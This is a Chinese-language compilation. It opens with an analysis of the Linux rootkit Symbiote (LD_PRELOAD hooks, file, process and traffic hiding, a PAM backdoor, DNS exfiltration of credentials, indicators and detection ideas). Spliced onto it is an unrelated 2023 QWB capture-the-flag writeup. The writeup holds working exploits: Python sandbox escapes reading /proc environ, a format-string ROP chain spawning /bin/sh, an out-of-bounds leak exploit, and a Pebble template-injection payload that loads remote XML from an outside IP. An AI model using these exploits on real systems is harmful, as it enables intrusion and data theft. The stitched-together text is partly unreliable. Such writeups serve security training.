核心模塊和通信模塊之間的通信遵循簡單的請求/響應模式。核心模塊將加密的洋蔥URL(包括要洩露的URL 路徑)寫入共享段。 comms 模塊然後解密URL 並通過Tor 向它發出HTTP 請求。核心模塊等待comms 模塊將加密的HTTP 響應寫回共享段。一旦它在那裡,核心模塊將其解密並從自定義格式解包,包括再次解密併計算哈希以檢查有效負載的完整性。解密後的有效載荷可能包含一個供核心模塊執行的shellcode。如果shellcode 存在,核心模塊分配一大塊內存,

一、概述近期,我們發現一種新型的Linux惡意軟件Symbiote被報導出來,該惡意軟件被描述為“幾乎不可能被檢測到”。之所以被命名為Symbiote(中文含義:共生體),也是基於該樣本的攻擊性質:作為非獨立運行的共享庫文件加載到其他正在運行的進程中。其目的是竊取遠程主機的登錄憑證以及後門訪問。

下面將對該惡意軟件的其中一個樣本進行詳細分析。

二、詳情分析1加載方式

LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),允許你定義在程序運行前優先加載的動態鏈接庫。通過這個環境變量,可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫。通過覆蓋正常的庫函數,注入到正在運行的進程,從而達到特定的目的。

該樣本使用同名、同參數的自定義函數,通過LD_PRELOAD的方式加載到其他進程中,進而覆蓋掉同名的系統函數,優先調用自定義函數,達到調用過程劫持效果。

所有的劫持函數都如下圖邏輯:

图片圖1

2進程隱藏

該樣本會隱藏自身加載到其他程序中的共享庫痕跡,以及隱藏一起部署的其他惡意程序。

隱藏其他惡意程序

實現方式為,掛鉤readdir、readdir64、stat、statx、fstatat、fstatat64等函數,目標文件在/proc下時,獲取執行命令,判斷是否為需要隱藏的進程,若是,則跳過該條目信息,繼續執行返回下一個無需隱藏的文件條目信息。

图片圖2

图片圖3

本樣本隱藏的進程名

certbotx64

certbotx86

javautils

隱藏共享庫痕跡

除了隱藏一起部署的其他惡意程序,還會隱藏自身模塊。如用戶可通過ldd命令輸出指定的每個程序或共享對象所需的共享對象(共享庫)。如下圖所示,ldd命令會調用execve函數,該樣本就通過掛鉤execve的方式劫持返回結果。

图片圖4

通過LD_TRACE_LOADED_OBJECTS環境變量判斷是否為列出其動態庫依賴項(ldd命令)。

图片圖5

具體隱藏過程如下,fork一個子進程去執行命令,返回結果到管道。

图片圖6

在本進程中,使用後面的字符串數據覆蓋掉需要隱藏的自身庫字符串再輸出,達到隱藏效果。

图片

圖7

運行效果圖如下,該樣本目前只是過濾硬編碼寫入的文件名,改名後就會顯示出來,不排除後續版本會更新為自動獲取名稱。

图片圖8

3文件隱藏

除了隱藏進程相關的文件,還會隱藏其他非進程的信息存儲文件。在Linux系統中,使用ls、dir、tree等命令顯示出目錄下的文件信息,通過掛鉤文件相關函數readdir、readdir64就可以實現文件隱藏。

具體細節如下,讀取到需隱藏的文件流時,繼續讀取下一個,直至該文件流為非隱藏文件或為空才返回。這樣就跳過了惡意文件,達到隱藏目的。

图片

圖9

图片圖10

隱藏的文件列表

certbotx64

certbotx86

javautils

bancodobrasildev

search.so

certbot.h

cert.h

4網絡隱藏

該樣本採用了三種流量隱藏的方法,分別是劫持fopen函數、劫持注入eBPF、劫持libpcap庫函數。

劫持fopen函數

檢測到程序使用fopen讀取\proc\net\目錄下的文件時,便會生成一個臨時文件,讀取源文件的每一行並將過濾掉指定端口的數據寫入臨時文件,最後將過濾後的臨時文件句柄返回調用者,達到隱藏效果。

图片

圖11

图片

圖12

劫持注入eBPF

BPF(Berkeley Packet Filter), 中文翻譯就是伯克利包過濾器。從字面意思可以知道它的主要功能是用來過濾數據包的。根據介紹,BPF 鉤子位於網絡驅動中盡可能早的位置,無需進行原始包的複制就可以實現最佳的數據包處理性能,掛載的BPF程序是運行過濾的理想選擇。

下面是BPF流程圖:

图片圖13

劫持方法是掛鉤函數setsockeopt,該函數用於設置socket狀態。

檢測到使用SO_ATTACH_FILTER方式調用時,表示該調用用於數據包過濾。此時就會先將自身的BPF字節碼添加到其他軟件的BPF字節碼前,先一步過濾掉需隱藏的流量,再執行其他軟件注入的BPF字節碼進行過濾。

本樣本用此方法過濾TCP連接中指定端口的流量(包括入站出站)。

图片圖14

劫持libpcap庫函數

實現方法是掛鉤函數pcap_loop、pcap_stats這兩個函數。

掛鉤函數pcap_loop、pcap_stats這兩個函數,在函數pcap_loop中,劫持捕獲流量後執行的回調函數,在惡意回調函數中,匹配流量中需要過濾的域字符串,通過包數計數器加一,丟掉這個流量包。

本樣本中用此方法隱藏UDP流量數據。

图片圖15

图片圖16

5惡意功能

該樣本的主要目的有:竊取用戶登入憑證,後門遠程訪問、文件下載命令執行。

憑證記錄

當用戶使用ssh或者scp並通過公私密鑰key進行遠程主機訪問時,掛鉤後的read便會獲取調用程序命令行參數,獲取遠程主機的地址、連接RSA私鑰等信息。

图片

圖17

图片

圖18

使用簡化的CR4算法加密後,存放在/usr/include/cerbot.h文件中,並通過DNS 地址(A) 記錄請求洩露到攻擊者的控制的域名。

图片

圖19

图片圖20

後門遠程訪問

該樣本劫持Linux系統上可插拔認證模塊(PAM)的關鍵函數pam_set_item、pam_authenticate、pam_acct_mgmt。其中pam_set_item函數用於截取用戶登入密碼,pam_authenticate函數用於校驗密碼。

图片

圖21

图片

圖22

這意味著攻擊者可以使用寫入的硬編碼口令,以任意用戶遠程訪問受害者服務器。

而當其他用戶使用遠程訪問工具(ssh)訪問受害者服務器時,便會獲取遠程主機ip、登入口令等信息,作為憑證竊取的一部分發送至攻擊者域名。

文件下載命令執行

在使用pam_authenticate函數進行身份驗證時,若不是攻擊者訪問,還會向其命令與控制域CC發送DNS 地址(TXT) 記錄請求。 TXT 記錄的格式為%MACHINEID%.%C2_DOMAIN%。

如果收到響應,惡意軟件使用base64 解碼內容,使用Ed25519算法檢查內容鑰簽名,使用RC4解密內容,並在生成的bash 進程中執行shell 腳本。

6CR4

在該樣本中,所有的字符串都是通過簡化的CR4算法獲取,該CR4算法核心如下:

index=0j=0forOdrTextinrange(textlen):j=(j+1)%256index=(index+S[j])%256S[j],S[index]=S[index],S[j]hexList[OdrText]^=S[(S[j]+S[index])%256]三、檢測思路底層函數繞過:該樣本是通過掛鉤用戶層的一些關鍵函數進行隱藏,可以通過更底層的文件操作函數進行檢測。

特殊工具:還可以使用完全靜態編譯的工具,如busybox,該工具靜態編譯Linux常用命令,不依賴共享庫,此方式可以破解該樣本的隱藏手段。

行為特徵檢測:該樣本目前還未隱藏export與環境變量顯示相關的命令結果,所以還可以檢測環境變量LD_PRELOAD,進而發現問題。

流量特徵檢測:既然在終端上不好檢測流量,那就在在網絡出口處進行流量檢測。

欺騙檢測:針對蒐集到的隱藏文件信息,創建同名文件判斷是否被隱藏,也可以檢測。

內存特徵匹配:經過測試,可以使用yara規則掃描進程內存檢測╭( `∀′ )╯。

四、IOC用於接收憑證記錄數據

x3206.caixa.cx

dev42.bancodobrasil.dev

用於下發命令執行數據

x4206.caixa.cx

dev21.bancodobrasil.dev

憑證存儲路徑

/usr/include/cerbot.h

/usr/include/java.h

/etc/mpt64.h

MISC

easyfuzz

1、通过尝试输入字符串判断该程序对输入字符的验证规则为9位字符,并且只要满足输入正确字符使最后返回值全部为111111111即可得flag

4yprmgcvx5m13362.jpg

继续大胆猜测并尝试,发现前两位字符可以为任何字符,都满足110000000,由此可以对后七位字符进行爆破

44cm5q3iitg13365.png

2、逐位爆破,验证思路正确,最后一位为字符串"d"

ljqkzfnsk2213367.png

3、编写爆破脚本,当字符串长度为9位并输入时,将回显不为“Here is your code coverage: 110000000”的结果打印,脚本如下

from pwn import *
from string import printable
conn = remote('101.200.122.251', 12199)
non_matching_strings = []
for i in range(9):
    for char in printable:
        payload = 'a'*i + char + 'a'*(8-i)
        print(conn.recvuntil(b'Enter a string (should be less than 10 bytes):'))
        conn.sendline(payload.encode())
        response = conn.recvline().decode().strip()
        if response != "Here is your code coverage: 110000000":
            non_matching_strings.append(payload)
for string in non_matching_strings:
    print(string)

FLAG:qwb{YouKnowHowToFuzz!}

签到

flag{welcome_to_qwb_2023}

Pyjail ! It's myFILTER !!!

Python沙箱逃逸闭合之后open直接读environ得到flag

{13212}'+(print(open('/proc/1/environ').read()))+'
 或者使用payload:
{print(open("/proc/1/environ").read())}
va31501o1xh13369.jpg lgnj51xzwlo13371.jpg
flag{61e81b4f-566c-49f5-84dd-d79319fddc82}

Pyjail ! It's myRevenge !!!

Python沙箱逃逸

用write写文件import os;os.system(“nl fl* >hzy”)执行之后再用read读取执行内容得到flag

过滤字符全用八进制绕过,分段写

{13212}'+(open('wsy', "a").write('151155160157162'))+'{13212}'+(open('wsy', "a").write('t 157'))+'{13212}'+(open('wsy', "a").write('163;157'))+'{13212}'+(open('wsy', "a").write('163.'))+'{13212}'+(open('wsy', "a").write('163y'))+'{13212}'+(open('wsy', "a").write('st'))+'{13212}'+(open('wsy', "a").write('em("nl 146*>hzy")'))+'{13212}'+open('143157de.py','w').write(open('wsy').read())+'{13212}'+(print(open('hzy').read()))+'
或者依次执行下面poc:
{globals().update(dict(my_filter=lambda x:1))}''{in''put()}'#
{globals().update(dict(len=lambda x:0))}''{in''put()}'#
{print("".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__["__builtins__"]["__import__"]("os").listdir())}
['flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104', 'server_8F6C72124774022B.py']
{globals().update(dict(my_filter=lambda x:1))}''{in' 'put()}'# 
{globals(). update(dict(len=lambda x:0))}''{in' 'put()}'#
{print (open("flag_26F574F8CEE82D06FEDC45CF5916B86A732DD326CE1CB2C9A96751E072D0A104"). read())}
3j1v1vidnps13373.jpg  
flag{8f0a4ac2-52d3-4adb-a1a3-47e05997817d}

Wabby Wabbo Radio

f12可以拿到wav的链接/static/audios/xh4.wav

yw2feqxv3hm13375.jpg

重新刷新了一下发现是随机选取播放的

fuzz了一下总共有xh1-xh5和hint1-hint2以及flag.wav

每一个wav的左声道显然是莫斯

 

i0lif3ws5pu13378.jpg

 

分离声道,增幅,在线网站解一下

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

得到:

Do you want a flag? Let's listen a little longer.Genshin Impact starts.The weather is really nice today. It's a great day to listen to the Wabby Wabbo radio.If you don't know how to do it, you can go ahead and do something else first.may be flag is png picturedo you know QAM?

其他都没啥用,就一个提示了QAM载波幅度

https://info.support.huawei.com/info-finder/encyclopedia/zh/QAM.html#Qam的星座图

简单了解了一下发现可以通过振幅来区分01,尝试打印了一下振幅,发现刚好都是集中在±1,±3之间

biay4wxsvvf13380.jpg

对比16QAM的星座图可以发现振幅拼一起刚好能起到一个信号的对应关系,但是不知道具体的对应关系是啥,直接盲猜一手从小到大,

简单的脚本如下:

import scipy.io.wavfile as wav
import numpy as np
import sys

sample_rate, data = wav.read("flag.wav")
for i in data:
    print(i)
flag=''
def repla(n):
    if n == -3:
        return '00'
    elif n == -1:
        return '01'
    elif n == 1:
        return '10'
    elif n == 3:
        return '11'

for x, y in data:
    n1 = round(float(x))
    n2 = round(float(y))
    flag += repla(n1)
    flag += repla(n2)

print(flag)

eiw1dnn4tdc13382.jpg

谍影重重3.0

给了hint:纸飞机他也是飞机,也能飞出国境抵达大洋彼岸,结合题目描述特殊隧道很容易联想到是vpn

稍微搜一下就可以得到是Shadowsks,参考文章:

https://phuker.github.io/posts/Shadowsks-active-probing.html

给出了完整解密脚本,但是不知道key,直接爆破一下,用HTTP当作请求成功的标识

#!/usr/bin/env python3
# encoding: utf-8

import os
import sys
import logging
import hashlib

from Crypto.Cipher import AES

logging.basicConfig(level=logging.INFO)


def EVP_BytesToKey(password, key_len, iv_len):
    m = []
    i = 0
    while len(b''.join(m)) < (key_len + iv_len):
        md5 = hashlib.md5()
        data = password
        if i > 0:
            data = m[i - 1] + password
        md5.update(data)
        m.append(md5.digest())
        i += 1
    ms = b''.join(m)
    key = ms[:key_len]
    iv = ms[key_len:key_len + iv_len]

    return key, iv

def decrypt(cipher,password):
    key_len = int(256/8)
    iv_len = 16
    mode = AES.MODE_CFB

    key, _ = EVP_BytesToKey(password, key_len, iv_len)
    cipher = bytes.fromhex(cipher)
    iv = cipher[:iv_len]
    real_cipher = cipher[iv_len:]

    obj = AES.new(key, mode, iv, segment_size=128)
    plain = obj.decrypt(real_cipher)

    return plain


def main():
    # test http request
    cipher = 'e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206'

    with open('rockyou.txt','rb') as f:
        lines = f.readlines()
    for password in lines:
        plain = decrypt(cipher,password.strip())
        if b'HTTP' in plain:
            print(password,plain)

if __name__ == "__main__":
    main()

#b'superman\n' b'\x03\x0f192.168.159.131\x00PGET /Why-do-you-want-to-know-what-this-is HTTP/1.1\r\nHost: 192.168.159.131\r\nUser-Agent: curl/8.4.0\r\nAccept: */*\r\nConnection: close\r\n\r\n'

得到文件名为Why-do-you-want-to-know-what-this-is,md5后得到flag

flag{dc7e57298e65949102c17596f1934a97}

谍影重重2.0

根据题目描述飞机流量可以很容易联想到ADS-B协议

导出tcp流数据

tshark -r attach.pcapng -Y "tcp" -T fields -e tcp.segment_data > tcp.txt

解析脚本:

import pyModeS

with open('tcp.txt','r')as f:
    lines = f.readlines()
for data in lines:
    if len(data)==47:
        print(pyModeS.decoder.tell(data[18:]))

筛选一下Airborne velocity ,得到79a05e的飞机速度最快为371 knots,md5 ICAO address为flag

kter5lg30pv13383.jpg
或者

将数据包导出为json格式

 

szb5gys4xfa13385.png

 

使用脚本提取字段并进行MD5

import json
import pyModeS as pms
import hashlib
 
with open('123.json', 'r', encoding='utf-8') as file:
    data = json.load(file)
 
info = []
for packet in data:
    if 'layers' in packet['_source'] and 'tcp' in packet['_source']['layers']:
        tcp_layer = packet['_source']['layers']['tcp']
 
        if 'tcp.payload' in tcp_layer:
            tcp_payload = tcp_layer['tcp.payload'].replace(':','')
            info.append(tcp_payload)
 
planes_data = []
 
for i in info:
    msg = i[18:]
    if pms.adsb.typecode(msg) >= 19 and pms.adsb.typecode(msg) <= 22:
        icao = pms.adsb.icao(msg)
        velocity_info = pms.adsb.velocity(msg)
        speed, track, vertical_rate, _ = velocity_info
 
        plane_info = {"icao": icao, "speed": speed, "track": track, "vertical_rate": vertical_rate}
        planes_data.append(plane_info)
 
fastest_plane = max(planes_data, key=lambda x: x['speed'])
print(hashlib.md5(fastest_plane['icao'].upper().encode()).hexdigest())
#flag{4cf6729b9bc05686a79c1620b0b1967b}

happy chess

应该是非预期,随便输入9个任意位置直接exit掉该轮就算成功了

gk2hbpedrhk13387.jpg  

强网先锋

speedup

纯社工题,要求2的27次方的阶乘的逐位之和,OEIS上直接有这一个值了

https://oeis.org/A244060/list

2023 强网杯 writeup by Arr3stY0u

sha256后得到flag

flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}

找到PNG了吗

strings main.mem | grep "Linux version"
f5fr5onn5ke13392.jpg

拿到内核版本后照着

https://treasure-house.randark.site/blog/2023-10-25-MemoryForensic-Test/

做个linux的profile

python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -L | findstr "Desktop"

桌面上能找到个文件have_your_fun.jocker

xpcagh5qxcl13394.jpg

尝试导出,但为空

python2 vol.py -f C:Users22826Desktopmain.mem --profile=LinuxUbuntu2004x64 linux_find_file -i 0xffff9ce28fe300e8 -Ohave_your_fun.jocker

不知道如何恢复,直接尝试全局搜一下文件名

找到一个加密脚本,简单的两次rc4加密,key都给了

根据题目需要找png,可以猜测have_your_fun.jocker就是加密后的png

2023 强网杯 writeup by Arr3stY0u

直接加密一下png头

2023 强网杯 writeup by Arr3stY0u

可以直接定位到内存中残留的have_your_fun.jocker位置

2023 强网杯 writeup by Arr3stY0u

直接解密得到flag图

2023 强网杯 writeup by Arr3stY0u

flag{It's_So_Hard_To_Find_A_Picture}

trie

题目分析

–在构建路由表使用了字典树数据结构,每次遇到新ip会插入分支,并且其节点值赋值为tot

–查询时也是查找该字典树,取节点的tot为索引,打印四字节end[tot]

思路分析

–在add时使用完tot之后没有归零,导致在view时读取溢出部分数据(能够读取到secret上的flag),每次读取逆序4字节,将ascii码转成对应字符拼接即可。

–同时为了获取完整flag,每次需要使得search函数里查询得到的tot索引+1,为此需要构造一颗子树,使其空出若干个叶子,(每空出一个叶子即可打印4字节flag)

–我构造了一个空出9个叶子的节点,其中包含一个填充的(目的是使得tot至少为0x40)

2023 强网杯 writeup by Arr3stY0u

exp

 #!/usr/bin/env python3

from pwncli import *

cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
context.arch = "amd64"


def add(des, next):
    io.recvuntil(b"4. Quit.")
    io.sendline(b"1")
    io.recvuntil(b"Input destination IP:")
    io.sendline(des)
    io.recvuntil(b"Input the next hop:")
    io.sendline(next)


def show(des):
    io.recvuntil(b"4. Quit.")
    io.sendline(b"2")
    io.recvuntil(b"Input destination IP:")
    io.sendline(des)


def get_flag():
    io.recvuntil(b"4. Quit.")
    io.sendline(b"3")


def leak(data):
    add(str(data).encode() + b".0.0.0", b"0.0.0.0")
    get_flag()
    show(str(data).encode() + b".0.0.0")
    io.recvuntil(b"The next hop is ")
    info = io.recvuntil(b"\n", drop=True)
    parts = info.split(b".")
    parts = parts[::-1]
    ascii_values = [chr(int(part)) for part in parts]
    ascii_values = "".join(ascii_values)
    flag = ascii_values
    return flag


add("0.0.0.0", "0.0.0.0")  # 32
add("64.0.0.0", "0.0.0.0")  # 2
add("32.0.0.0", "0.0.0.0")  # 3
add("96.0.0.0", "0.0.0.0")  # 2
add("16.0.0.0", "0.0.0.0")  # 4
add("80.0.0.0", "0.0.0.0")  # 2
add("48.0.0.0", "0.0.0.0")  # 3
add("112.0.0.0", "0.0.0.0")  # 2
add("0.4.0.0", "0.0.0.0")  # 14

flag = ""
get_flag()
show(b"0.4.0.0")  # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)

flag += leak(128)
log.success(flag)

flag += leak(192)
log.success(flag)

flag += leak(160)
log.success(flag)

flag += leak(144)
log.success(flag)

flag += leak(208)
log.success(flag)

flag += leak(176)
log.success(flag)

flag += leak(240)
log.success(flag)

flag += leak(224)
log.success(flag)

add(b"128.4.0.0", b"0.0.0.0")
get_flag()
show(b"128.4.0.0")  # 0x40
io.recvuntil(b"The next hop is ")
info = io.recvuntil(b"\n", drop=True)
parts = info.split(b".")
parts = parts[::-1]
ascii_values = [chr(int(part)) for part in parts]
ascii_values = "".join(ascii_values)
flag += ascii_values
log.success(flag)
io.interactive()

2023 强网杯 writeup by Arr3stY0u

ez_fmt

格式化字符串打printf的返回地址为csu的部分gadget,然后执行跳转magic_read(0x401205)执行rop链。

#!/usr/bin/env python3
'''
Author:7resp4ss
Date:2023-12-16 13:34:34
Usage:
    Debug : python3 exp.py debug elf-file-path -t -b malloc
    Remote: python3 exp.py remote elf-file-path ip:port
'''

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

ru('There is a gift for you ')
leak_stack  = int(rl()[:-1],16)
leak_ex2(leak_stack)


attack_stack = leak_stack - 0x8
pd = flat(
    {
        0:'%' + str(0xce) + 'c' + '%11$hhn%19$p',
        0x18:[0x401205],
        0x28:attack_stack,
    }
)
s(pd)
ru('0x')
leak_libc = int(r(12),16)
leak_ex2(leak_libc)
lb = leak_libc - 0x24083
libc.address = lb

pd = flat(
    {
        0x18:[
            CG.pop_rdi_ret(),
            CG.bin_sh(),
            lb + 0x51cd2]
    }
)
S()
s(pd)

ia()

hello spring

审计源码后发现是pepple的模板注入

发现过滤了

org.springframework.context.support.ClassPathXmlApplicationContext

用字符串拼接的方式绕过

org.springframework.context."+"support.ClassPathXmlApplicationContext

上传payload如下

POST /uploadFile HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 567

content=%7B%25%20set%20y%3D%20beans.get(%22org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory%22).resourceLoader.classLoader.loadClass(%22java.beans.Beans%22)%20%25%7D%0A%7B%25%20set%20yy%20%3D%20%20beans.get(%22jacksonObjectMapper%22).readValue(%22%7B%7D%22%2C%20y)%20%25%7D%0A%7B%25%20set%20yyy%20%3D%20yy.instantiate(null%2C%22org.springframework%22%2B%22.context.support.ClassPathXmlApplicationContext%22)%20%25%7D%0A%7B%7B%20yyy.setConfigLocation(%22http%3A%2F%2F47.76.178.89%3A8081%2F1.xml%22)%20%7D%7D%0A%7B%7B%20yyy.refresh()%20%7D%7D

上传的文件名与时间有关,并且题目环境的时间与现实不一样

public static String general_time() {
    LocalDateTime currentTime = LocalDateTime.now();
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
    String var10000 = currentTime.format(formatter);
    String fileName = "file_" + var10000 + ".pebble";
    System.out.println("filename is " + fileName);
    return fileName;
}

 

yoolbmjcpf013434.jpg

 

那么文件名就为 file_20231217_160502,发送payload去触发该点

GET /?x=../../../../../../../../tmp/file_20231217_160502 HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

 

kvh3c5vfd3f13439.jpg

 

babyre

调试发现密钥和密文都变了

 

yadbuzrx2lm13445.jpg

 

加解密过程对应着修改

 

zhhgvvttz3y13449.jpg

 

解密脚本

#include <stdio.h>
#include <stdint.h>

//加密函数
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0x90508D47, delta = 0x77BF7F99;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++)
        {
            v0 += (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
            v1 += (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            sum -= delta;
        }
    }
    v[0] = v0;
    v[1] = v1;
    printf("sum==0x%x\n", sum);
}

//解密函数
void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x77BF7F99, sum = 0xd192c263;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++)
        {
            sum += delta;
            v1 -= (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            v0 -= (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
        }
    }
    v[0] = v0;
    v[1] = v1;
    printf("sum==0x%x\n", sum);
}

//打印数据 hex_or_chr: 1-hex 0-chr
void dump_data(uint32_t *v, int n, bool hex_or_chr)
{
    if (hex_or_chr)
    {
        for (int i = 0; i < n; i++)
        {
            printf("0x%x,", v[i]);
        }
    }
    else
    {
        for (int i = 0; i < n; i++)
        {
            for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
            {
                printf("%c", (v[i] >> (j * 8)) & 0xFF);
            }
        }
    }
    printf("\n");
    return;
}

int main()
{
    // v为要加解密的数据
    uint32_t v[] = {0x9523f2e0, 0x8ed8c293, 0x8668c393, 0xddf250bc, 0x510e4499, 0x8c60bd44, 0x34dcabf2, 0xc10fd260};
    // k为加解密密钥,4个32位无符号整数,密钥长度为128位
    uint32_t k[4] = {0x62, 0x6F, 0x6D, 0x62};
    // num_rounds,建议取值为32
    unsigned int r = 33;

    int n = sizeof(v) / sizeof(uint32_t);
    /*
    printf("加密前明文数据:");
    dump_data(v, n, 1);

    for (int i = 0; i < n / 2; i++)
    {
        encrypt(r, &v[i * 2], k);
    }
    */
    printf("加密后密文数据:");
    dump_data(v, n, 1);

    for (int i = 0; i < n / 2; i++)
    {
        decrypt(r, &v[i * 2], k);
    }

    printf("解密后明文数据:");
    dump_data(v, n, 1);

    printf("解密后明文字符:");
    dump_data(v, n, 0);

    return 0;
}

// W31com3_2_Th3_QwbS7_4nd_H4v3_Fun

ezre

变表base64编解码交替

2023 强网杯 writeup by Arr3stY0u

有个循环异或

2023 强网杯 writeup by Arr3stY0u

先逆循环异或

enc = [0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04,
       0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70,
       0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D,
       0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70,
       0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]
tbs = ["l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr",
       "FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8",
       "Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA",
       "pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a",
       "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
aaa = [ord(c)
       for c in "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
for i in range(len(aaa)):
    aaa[i] ^= 0x27
v5 = aaa[6:6+0x15]
v7 = 2023
v6 = 0
v8 = 48
xor = []
while v6 < v8 - 1:
    if v6 % 3 == 1:
        v7 = (v7 + 5) % 20
        v3 = v5[v7 + 1]
    elif v6 % 3 == 2:
        v7 = (v7 + 7) % 19
        v3 = v5[v7 + 2]
    else:
        v7 = (v7 + 3) % 17
        v3 = v5[v7 + 3]
    v6 += 1
    xor.append(v3)
for i in range(len(enc)-1, -1, -1):
    enc[i] ^= enc[i-1]
    if i <= len(enc)-2:
        enc[i] ^= xor[i]
print(bytes(enc))
# jZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==

再逆变表base64编解码再补全

2023 强网杯 writeup by Arr3stY0u

flag{3ea590ccwxehg715264fzxnzepqz}

石头剪刀布

因为模型的预测是只跟输入的sequence有关,所以可以根据当前情况的最优解输入进去来得到模型的下一步输出,这样就可以得到我们下一步的最优解。一直循环下去,就可以得到全部的最优解。

由于前面5次大模型是随机输出的,因此我们可以考虑从第6次开始求最优解。最坏情况下,前5次全输,需要87步即可达到260分,即第92轮时,因此可以通过本题。

from pwn import remote

ip = '<ip>'
port = '<port>'

class GetStatus:
    def __init__(self, _ip=ip, _port=port) -> None:
        self.r = remote(_ip, _port)
        self.score = 0

    def getdiff(self, out):
        self.r.sendlineafter('请出拳'.encode(), str(out).encode())
        self.r.recvuntil('分数:'.encode())
        newscore = int(self.r.recvline().decode()) 
        diff = newscore - self.score
        self.score = newscore
        return diff

    def test_list(self, lis):
        for out in lis:
            diff = self.getdiff(out)
            if self.score >= 260:
                return 'win'
        return diff

current_best = [0] * 5
diff2out = {
    3: 0,
    1: 2,
    0: 1
}
while len(current_best) <= 100:
    current_best.append(0)
    c = GetStatus()
    diff = c.test_list(current_best)
    if c.score >= 260:
        c.r.interactive()
        break
    c.r.close()
    current_best[-1] = diff2out[diff]
    print(f'Round {len(current_best)}: {current_best}')
或者

按照如下顺序即可获胜

0000011220120220110111222010022012110021012012202100112022100112110020110220210201

2qrcfev5yae13463.png

CRYPTO

not only rsa

n是一个质数5次方,可以求解1和C的根后进行组合出所有C的根,sage脚本如下:

from Crypto.Util.number import  long_to_bytes
p=91027438112295439314606669837102361953591324472804851543344131406676387779969
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
n=p^5
K=Zmod(p^5)
a=K(c).nth_root(e)
b=K(1).nth_root(e)
